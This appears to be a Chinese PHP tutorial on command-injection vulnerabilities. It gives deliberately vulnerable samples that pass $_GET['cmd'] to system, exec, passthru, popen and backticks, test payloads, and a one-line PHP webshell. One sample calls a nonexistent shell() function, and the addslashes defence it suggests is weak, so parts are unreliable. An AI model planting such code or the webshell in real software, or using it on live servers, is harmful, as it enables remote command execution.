这篇文章主要介绍了php网络安全中命令执行漏洞的产生及本质,文中通过示例代码介绍的非常详细,对大家的学习或者工作具有一定的参考学习价值,需要的朋友们下面随着小编来一起学习吧
漏洞的产生原因
- 代码层过滤不严。应用程序直接或间接使用了动态执行命令的危险函数,并且这个函数的运行参数是可控的
- 系统的漏洞造成命令注入
漏洞的本质
应用有时需要调用一些执行系统命令的函数,当服务器没有严格过滤用户提供的参数时,就有可能导致用户提交恶意代码被服务器执行,从而造成命令执行漏洞。
涉及到的函数
- 1.system
- 2.exec()
- 3.shell_exec()
- 4.passthru()
- 5.popen()
- 6.反引号
命令执行漏洞的危害
- 1.继承Web 服务器程序权限(Web用户权限),去执行系统命令
- 2.继承Web服务器权限,读写文件
- 3.反弹Shell
- 4.控制整个网站
- 5.控制整个服务器
命令执行漏洞的防御
- 1、尽量少使用执行命令函数或者禁用disable_functions
- 2、在进入执行命令的函数之前,对参数进行过滤,对敏感字符进行转义
- 3、参数值尽量使用引号包括,并在拼接前调用addslashes进行转义
命令执行相关函数的使用
system()
- 说明:能够将字符串作为OS命令执行,自带输出功能
- 测试参考代码:
<?php
if(isset($_GET['cmd'])){
system($_GET['cmd']);
}
?>
payload:?cmd=ipconfig
exec()
- 说明:能将字符串作为OS命令执行,但无输出,需要输出执行结果print。
- exec() 默认只输出最后一行的数据
- 如果想让他输出全部结果,可以加一个参数,即exec(ifconfig,$arr); print_r($arr);,如一句话木马:<?php exec($_REQUEST[123],$arr);print_r($arr)?>
- 测试参考代码
<?php
if(isset($_GET['cmd'])){
print exec($_GET['cmd']);
}
?>
payload:?cmd=whoami
shell_exec()
- 说明:执行命令并以字符串的形式,返回完整的信息,但是函数无回显,需要输出执行结果。
- 测试参考代码
<?php
if(isset($_GET['cmd'])){
print shell($_GET['cmd']);
}
?>
payload:?cmd=whoami
passthru()
- 说明:执行外部命令,与system()类似,但是该函数会直接将结果输出,无需输出执行。
- 测试参考代码
<?php
if(isset($_GET['cmd'])){
passthru($_GET['cmd']);
}
?>
payload:?cmd=whoami
popen()
- 说明:能够执行OS命令,但是该函数并不是返回命令结果,而是返回一个文件指针
- 测试参考代码
<?php
if(isset($_GET['cmd'])){
$cmd=$_GET['cmd'].">>1.txt";
popen($cmd,'r');
}
?>
payload:?cmd=whoami
反引号
- 说明:反引号[``]内的字符串,也会被解析成OS命令
- 反引号背后执行的代码其实是调用了shell_exec(),所以禁用了shell_exec()同样反引号也无法使用了。
- 测试参考代码
<?php
if(isset($_GET['cmd'])){
$cmd=$_GET['cmd'];
print `$cmd`;
}
?>
payload:?cmd=whoami
到此这篇关于php网络安全中命令执行漏洞的产生及本质探究的文章就介绍到这了,更多相关php命令执行漏洞内容请搜索编程学习网以前的文章希望大家以后多多支持编程学习网!
沃梦达教程
本文标题为:php网络安全中命令执行漏洞的产生及本质探究
基础教程推荐
猜你喜欢
- laravel ORM关联关系中的 with和whereHas用法 2023-03-02
- php array分组,PHP中array数组的分组排序 2022-08-01
- thinkphp3.2.3框架动态切换多数据库的方法分析 2023-03-19
- laravel 解决多库下的DB::transaction()事务失效问题 2023-03-08
- PHP获取MySQL执行sql语句的查询时间方法 2022-11-09
- PHP中的错误及其处理机制 2023-06-04
- 使用PHP开发留言板功能 2023-03-13
- PHP实现Redis单据锁以及防止并发重复写入 2022-10-12
- PHP命名空间简单用法示例 2022-12-01
- 在Laravel中实现使用AJAX动态刷新部分页面 2023-03-02